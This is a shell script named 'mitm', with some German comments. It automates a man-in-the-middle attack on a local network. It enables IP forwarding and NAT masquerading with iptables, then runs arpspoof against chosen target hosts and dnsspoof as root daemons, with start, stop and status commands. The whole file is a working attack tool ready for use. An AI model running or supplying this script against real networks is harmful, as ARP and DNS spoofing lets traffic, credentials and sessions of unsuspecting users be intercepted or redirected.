mitm

#!/usr/bin/env sh

#set -x
set -e

export LANG="C"
export PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

usage () {
	cat <<! 1>&2
Usage: $0 <start|stop|status> ;-)
!
	exit 1
}
startup () {
	local t_r="$@"

	sysctl -w net.ipv4.conf.$if.forwarding=1

	iptables -I FORWARD -j ACCEPT
	iptables -t nat -I POSTROUTING -o $if -j MASQUERADE

	daemonize -e $log -o $log -c $dir -l $dnsspoof_pid -p $dnsspoof_pid -u root /usr/sbin/dnsspoof -i $if host $gw
	daemonize -e $log -o $log -c $dir -l $arpspoof_pid -p $arpspoof_pid -u root /usr/sbin/arpspoof -i $if $t_r $gw	
}
cleanup () {
	pkill -F $arpspoof_pid
	pkill -F $dnsspoof_pid
	iptables -D FORWARD 1
	iptables -t nat -D POSTROUTING 1
	sysctl -w net.ipv4.conf.$if.forwarding=0
}
status () {
	tail $log
}

cd ~/.mitmproxy/ || exit

dir="/tmp/`basename "$0"`"
mkdir -p $dir && cd $dir
pwd

arpspoof_pid="arpspoof.pid"
dnsspoof_pid="dnsspoof.pid"
log="`basename "$0"`.log"

# check write permissions amongst other things
touch $dir $arpspoof_pid $dnsspoof_pid $log

# Interface und entsprechendes Gateway
con=${CONNECTION:-`nmcli -g uuid,state connection | awk -F ':' '$2=="activated" {print $1; exit}'`}
if=${if:-`nmcli -t connection show $con | sed -n -E "/^GENERAL\.DEVICES:/s///p"`}
gw=${gw:-`nmcli -t connection show $con | sed -n -E "/^IP4\.GATEWAY:/s///p"`}

TEMP=$(getopt -o 'hi:g:' --long 'help,interface:,gateway:' -n "$0" -- "$@")

if [ $? -ne 0 ]; then
	usage
	echo 'Terminating...' >&2
	exit 1
fi

# Note the quotes around "$TEMP": they are essential!
eval set -- "$TEMP"
unset TEMP

while true; do
	case "$1" in
		'-h'|'--help')
			echo 'Option -h, --help'
			shift 1
			usage
			exit
		;;
		'-i'|'--interface')
			echo "Option -i, --interface; argument '$2'"
			if="$2"
			shift 2
			continue
		;;
		'-g'|'--gateway')
			echo "Option -g, --gateway; argument '$2'"
			gw="$2"
			shift 2
			continue
		;;
		'--')
			shift
			break
		;;
		*)
			echo 'Internal error!' >&2
			exit 1
		;;
	esac
done

echo 'Remaining arguments:'
for arg; do
	echo "--> '$arg'"
done

if [ ! "$if" ] || [ ! "$gw" ]; then
	echo "Konnte Interface/Gateway nicht ermitteln :-(" 1>&2
	exit 1
else
	echo "Interface ($if)/Gateway ($gw) ermittelt :-)"
fi

case "$1" in
	start)
		shift
		startup "$@"
	;;
	stop)
		cleanup
	;;
	status)
		status
	;;
	*)
		usage
	;;
esac